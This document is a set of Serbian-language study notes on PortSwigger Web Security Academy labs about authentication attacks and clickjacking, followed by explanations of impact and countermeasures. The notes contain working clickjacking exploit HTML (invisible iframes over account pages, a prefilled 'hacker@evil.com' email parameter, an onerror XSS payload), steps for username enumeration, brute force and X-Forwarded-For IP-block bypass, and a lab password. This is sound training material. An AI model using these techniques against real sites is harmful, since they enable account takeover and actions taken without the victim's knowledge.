

AUTENTIFIKACIJA

username: announcements

password: dragon

1. sa intruderom lockinujem username - nadjem pravi po duzini responsa, pa lozinku - nadjem po statusu koja je ispravno
2. sa interceptom dodjem do login2, drop, promenim url na my-account i onda iskljucim interceptor
3. sa repeaterom u request uocimo da je token isti, promeni token na x, i promenim url na carlos, odgovor 302
4. username enumeration - Invalid username or password. - ako je username ispravan fali . - alaska (zbog toga sto imam community sam koristila python skriptu, a zatim kroz burp sam sa intruderom nasla response sa statusom 302 - maggie)
5. Lab: Username enumeration via response timing - za pogresnu i sifru i username 73ms, za ispravan username 93ms, onda se spustilo na 78ms i stojala je poruka You have made too many incorrect login attempts. Please try again in 30 minute(s).- sto je znacilo da je nakon oko 3 neispravna pokusaj zakljucao moju ip adresu - da bi presla preko toga dovoljno je da dodam polje u headeru zahteva X-Forwarded-For: 1 koje kaze da je moja ip adresa 1 i onda opet dobijem Invalid username or password. prva stvar koju proveravam - unesem valisno ime i neispravnu lozinku duzu - oko 170ms, duplam duzinu lozinke 370s - za duzu lozinku se radi neki duzi posao. druga stvar koju sam uradila za validno ime sam unela netacnu lozinku i vreme odgovora je 78ms - sto znaci da ne radi nista sa lozinkom ako je username nevalidan.
sledeca stavka je poslati iz repeatera u intruder - dodati username - kopiram listi i kako bi mogla da odradim brute force napad isto dodam ip adresu i promenim u pitchfork attack - tu zadam dve liste i onda on uzima vrednosti iz jedne i iz druge. posto nemam pro - intruder ne moze da prikaze response time koristim skriptu - koja printa vreme responsa - username at, zatim brute forceom preko intrudera trazim lozinku iz liste - 11111111 po statusu 302
6. Lab: Broken brute-force protection, IP block - ulogujem se sa carlos to je zrtva, posaljmem repeateru - prva stvar poruka je invalid password tako da je to prva ranjivost. posle 3 pokusaja dobijam -

clickjacking

sta sam radila

1. Basic clickjacking with CSRF token protection - otvorim svoj sajt, dodam iframe sa stylom - kod stajla bitno da je skoro pa transparentan iframe (src je mmy account strana) - sta je cilj da nateram usera da obrise account a da to ni ne skonta. z-index govori ko je na kome ako je 1 on je iznad svih.

Craft a response

URL: <https://exploit-0af2006b040b8fb784a494ec01c100eb.exploit-server.net/exploit>

HTTPS



File:

/exploit

Head:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Body:

```
<style>
  iframe {
    position: relative;
    width: 1000px;
    height: 700px;
    opacity: 0.0001;
    z-index: 2;
  }
  div {position: absolute; top: 490; left: 65px; z-index: 1;}
</style>
<div>Test me</div>
<iframe src="https://0ae5007904bd8f4c841f957800e700b5.web-security-academy.net/my-account"></iframe>
```

[Store](#)[View exploit](#)[Deliver exploit to victim](#)[Access log](#)

2. Lab: Clickjacking with form input data prefilled from a URL parameter - cilj je da se natera korisnik da klikne dugme koje ce da posalje update request - url-u (exploit) dodamo parametre nakon ? - tipa promena email adrese

Craft a response

URL: https://exploit-0a17008504a448c981b8a1ed01d500c0.exploit-server.net/exploit

HTTPS



File:

/exploit

Head:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Body:

```
position: absolute;
z-index: 2;
}
div {
  position: absolute;
  top: 465px;
  left: 80px;
  z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a2100c7044448728100a2ce00e40018.web-security-academy.net/my-account?
email=hacker@evil.com"></iframe>
```

Store

View exploit

Deliver exploit to victim

Access log

3.Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS -

Stranica /feedback uzima name parametar iz URL-a i ubacuje ga direktno u DOM bez sanitizacije:

Stranica nema zaštitu protiv ugradjivanja u iframe. Svaka stranica bi trebalo da ima zabranu - Bez ovog headera — bilo ko može da učitava tvoju stranicu u nevidljivi iframe.

Create a response

URL: <https://exploit-0a8c00f203d22fb08042111f011c0052.exploit-server.net/exploit>

HTTPS



File:

/exploit

Head:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Body:

```
<div {  
  position: absolute;  
  top: 816px;  
  left: 80px;  
  z-index: 1;  
}  
</style>  
  
<div>CLICK HERE</div>  
  
<iframe src="https://0a93000703fc2f2080fd12eb007c00b3.web-security-academy.net/feedback?name=<img  
src=1 onerror=print()>&email=x@x.com&subject=x&message=x"></iframe>
```

4. Lab: Multistep clickjacking - ovd eje potrebno 2 klika da prevarimo

Body:

```
<style>
  iframe {
    position: relative;
    width: 700px;
    height: 600px;
    opacity: 0.1;
    z-index: 2;
  }
  .button1 {
    position: absolute;
    top: 495px;
    left: 50px;
    z-index: 1;
  }
  .button2 {
    position: absolute;
    top: 290px;
    left: 200px;
    z-index: 1;
  }
</style>

<div class="button1">CLICK HERE FIRST</div>
<div class="button2">CLICK HERE NEXT</div>

<iframe src="https://0a5f00bb046d702080c15822004c009e.web-security-academy.net/my-account">
</iframe>
```

Store

View exploit

Deliver exploit to victim

Access log

1. AUTHENTICATION (Autentifikacija)

1.1 Objašnjenje klase napada

Autentifikacija je proces verifikacije identiteta korisnika ili klijenta. Web sajtovi su potencijalno izloženi svakome ko je povezan na internet, što autentifikacione mehanizme čini ključnim delom web bezbednosti.

Ranjivosti u autentifikaciji nastaju na jedan od dva načina: autentifikacioni mehanizmi su slabi jer ne štite adekvatno od brute-force napada, ili logičke greške u implementaciji omogućavaju napadaču da potpuno zaobiđe autentifikaciju — što se naziva "broken authentication".

Konkretni tipovi napada koje smo radili u labovima:

Username enumeration — server vraća različite odgovore za validne i nevalidne korisnike (različita poruka, dužina odgovora, ili vreme odgovora), što napadaču omogućava da otkrije koji usernamei postoje u sistemu.

Brute-force — automatizovano pogađanje passworda koristeći listu čestih lozinki.

IP block bypass — zaobilaženje zaštite od brute-forcea manipulacijom **X-Forwarded-For** headera ili interleaving validnih login pokušaja.

1.2 Uticaj eksploatacije

Uticaj ranjivosti u autentifikaciji može biti ozbiljan. Ako napadač zaobiđe autentifikaciju ili brute-force-om uđe u tuđi nalog, dobija pristup svim podacima i funkcionalnostima tog naloga.

Ako uspeju da kompromituju privilegovani nalog, poput administratora, mogu preuzeti potpunu kontrolu nad celom aplikacijom i potencijalno dobiti pristup internoj infrastrukturi. Čak i kompromitovanje naloga sa niskim privilegijama može napadaču dati pristup podacima kojima inače ne bi imao pristup, kao što su poslovno osetljive informacije.

1.3 Ranjivosti u softveru koje su dozvolile napad

Iz labova koje smo rešavali, konkretne softverske greške su bile:

Lab: Username enumeration via subtly different responses — server je vraćao blago različitu poruku ("**Invalid username or password.**" sa tačkom vs bez tačke) za validne i nevalidne korisnike, umesto identičnih poruka.

Lab: Username enumeration via response timing — server je trošio više vremena na procesiranje kada je username bio validan (jer je hashirao password), otkrivajući validne usernamee kroz timing analizu.

Lab: Broken brute-force protection, IP block — zaštita je blokirala IP adresu, ali nije vodila računa o **X-Forwarded-For** headeru koji se može lako falsifikovati, i reset brojača se dešavao nakon jednog uspešnog logina što je napadač mogao iskoristiti.

1.4 Kontramere

Bez obzira na to da li je pokušani username validan ili ne, važno je koristiti identične, generičke poruke o grešci koje su zaista identične. Uvek treba vraćati isti HTTP status kod za svaki login zahtev i, na kraju, vreme odgovora u različitim scenarijima učiniti što je moguće nerazlučivijim.

Jedna od efikasnijih metoda je implementacija striktnog ograničenja broja zahteva po IP adresi. Ovo treba da uključuje mere kojima se sprečava napadač da manipuliše svojom prividnom IP adresom. Idealno bi bilo zahtevati od korisnika da reši CAPTCHA test pri svakom login pokušaju nakon dostizanja određenog limita.

Višefaktorska autentifikacija, kada je ispravno implementirana, mnogo je sigurnija od autentifikacije zasnovane samo na passwordu. Idealno je da 2FA bude implementirana korišćenjem namenskog uređaja ili aplikacije koja direktno generiše verifikacioni kod.

Nikada ne treba slati login podatke preko nešifrovanih veza. Treba primeniti HTTPS i preusmeriti sve HTTP zahteve na HTTPS.

Potrebno je pažljivo temeljno revidirati logiku verifikacije i validacije kako bi se eliminisale greške — provera koja se može zaobići nije mnogo bolja od nikakve provere.

Referenca: portswigger.net/web-security/authentication

2. CLICKJACKING (UI Redressing)

2.1 Objašnjenje klase napada

Clickjacking je web bezbednosna ranjivost koja napadaču omogućava da prevari korisnike da kliknu na skrivene elemente web stranice. Postiže se preklapanjem prikrivenog ili nevidljivog UI sloja — obično korišćenjem iframeova — iznad ciljne web stranice, varajući korisnike da misle da klikću na nešto sasvim drugo.

U labovima koje smo rešavali koristili smo:

Osnovni clickjacking — nevidljivi iframe sa `opacity: 0.1` poravnat iznad dugmeta za brisanje naloga ili promenu emaila.

Clickjacking sa URL parametrima — iskorišćavanje `?email=` parametra da server automatski popuni formu pre nego što žrtva klikne.

Multistep clickjacking — dva nevidljiva dugmeta poravnata za dva koraka (akcija + potvrda).

Clickjacking + DOM XSS — clickjacking korišćen kao mehanizam da se triggeruje XSS ranjivost na `/feedback` stranici.

2.2 Uticaj eksploatacije

Uticaj zavisi od toga šta se nalazi iza nevidljivog iframea:

Brisanje naloga — žrtva nesvesno briše sopstveni nalog.

Promena emaila/passworda — napadač preuzima nalog žrtve.

Finansijske transakcije — žrtva odobrava plaćanje misleći da klikće na nešto drugo.

Triggerovanje XSS-a — kao u labu koji smo radili, kombinacija sa DOM XSS-om može dovesti do krađe session tokena i potpunog preuzimanja naloga.

Napadačeva stranica može prekriti interfejs ciljne aplikacije drugačijim interfejsom koji napadač obezbeđuje. Navođenjem korisnika žrtve da izvodi radnje poput klikova mišem i pritisaka tastera, napadač može uzrokovati da žrtva nenamerno izvrši radnje na ciljanoj aplikaciji.

2.3 Ranjivosti u softveru koje su dozvolile napad

Ako stranica ne postavi odgovarajući `X-Frame-Options` ili `Content-Security-Policy` HTTP header, moguće je da stranica kontrolisana od strane napadača učitava ovu stranicu unutar iframea.

Konkretno u labovima:

Nedostaje X-Frame-Options header — server nije zabranio učitavanje stranice u iframe, što je omogućilo napadaču da je učita nevidljivo.

Nedostaje Content-Security-Policy: frame-ancestors — nije definisano ko sme da framuje stranicu.

?email= parametar bez zaštite — server je slepo prihvatao vrednosti iz URL parametara i popunjavao forme bez validacije, što je pojačalo efekat napada.

DOM XSS u name parametru — korišćenje `innerHTML` umesto `innerText` dozvolilo je izvršavanje HTML/JS koda ubačenog kroz URL.

2.4 Kontramere

Da bi se efikasno sprečili framing napadi, aplikacija treba da vraća response header sa imenom `X-Frame-Options` i vrednošću `DENY` da bi se u potpunosti sprečilo framovanje, ili vrednošću `SAMEORIGIN` da bi se dozvolilo framovanje samo stranicama na istom originu.

Preporučuje se postavljanje `frame-ancestors` direktive na `'none'` ako ne želite da vaš sajt bude framovan, ili na `'self'` ako želite da dozvolite da se sam framuje.

U HTTP response headerima:

X-Frame-Options: DENY

Content-Security-Policy: frame-ancestors 'none'

Zaštita na strani servera od clickjackinga obezbeđuje se definisanjem i komuniciranjem ograničenja nad korišćenjem komponenti kao što su iframeovi. Međutim, implementacija zaštite zavisi od usklađenosti i primene ovih ograničenja od strane browsera.

Uobičajena zaštita na strani klijenta koja se primenjuje putem web browsera je korišćenje frame busting ili frame breaking skripti. Ove skripte mogu biti implementirane putem vlasničkih JavaScript dodataka ili ekstenzija browsera poput NoScript-a. Međutim, frame busting tehnike su često specifične za browser i platformu i zbog fleksibilnosti HTML-a napadači ih obično mogu zaobići.

Zbog toga se **serverska zaštita uvek preporučuje** kao primarni mehanizam, dok su frame busting skripte samo dodatni sloj.

Referenca: portswigger.net/web-security/clickjacking